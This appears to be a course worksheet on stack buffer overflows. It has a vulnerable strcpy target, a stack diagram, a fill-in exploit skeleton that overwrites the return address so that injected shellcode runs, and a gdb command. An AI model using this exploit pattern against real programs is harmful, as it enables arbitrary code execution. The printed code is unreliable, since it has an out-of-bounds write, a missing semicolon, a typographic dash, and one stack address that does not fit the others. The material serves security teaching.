CSE 484 In-section Worksheet #2

Q1. Draw the stack at the beginning of function `foo`. (file is `target0.c`)

```
int foo(char *argv[]){
  char buf[336];
  strcpy(buf, argv[1]);
}
int main(int argc, char *argv[]){
  if (argc != 2) {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv);
  return 0;
}
```

Function	Foo				Main			
Address (hex)	0xffffdba0	0xffffdcf0	0xffffdcf4	0xffffdcf8	0xffffdc08	0xffffdd0c	0xffffdd10	0xffffdd14
Length (bytes)	336	4	4	4	4	4	4	4
Name	buf	Saved ebp	Saved eip	Argv	Saved ebp	Saved eip	argc	argv
Contents	…	0xffffdd08	0x08048519	0xffffddb4	0xf7fbfff4	0x08048530	0x2	…

Note on the red highlighted address: there is actually some empty space in main's stack frame which you can examine when using gdb to examine the program and running info stack, perhaps because the compiler is aligning the stack to a 16-bye boundary (as with *http://www.avabodh.com/cin/memorymanagement.html*, *https://stackoverflow.com/questions/4175281/what-does-it-mean-to-align-the-stack)*. You won't have to take this into account for the labs.

Q2. How is this program vulnerable? How can we structure `buf` to exploit this vulnerability? Fill in the program below. (file is `sploit0.c`)

```
#define TARGET "/bin/target0"
#define EIP 0xffffdba0
#define BUFLEN 336
int main(void){
  char *args[3];
  char *env[1];
  char buf[BUFLEN + 9];    // What size should this be?
  memset(buf, 0x90, sizeof(buf) – 1);
  // How does strcpy know when to stop?
  buf[BUFLEN + 9] = 0
  memcpy(buf, shellcode, sizeof(shellcode) -1);
  // Where do we put EIP? (hint: pointer arithmetic)
  *(unsigned int*)(buf + BUFLEN + 4) = EIP;
  args[0] = TARGET;
  args[1] = buf;
  args[2] = NULL;
  env[0] = NULL;
  if (0 > execve(TARGET, args, env))
    perror("execve failed");
  return 0;
}
```

Q3. What `gdb` (or `cgdb`) statement and sequence of commands will let us step through these programs if the files are `~/sources/target0.c` and `~/sploits/sploit0.c` while the executables are `/bin/target0` and `~/sources/sploit0`?

```
gdb -e ~/sploits/sploit0 -s /bin/target0
```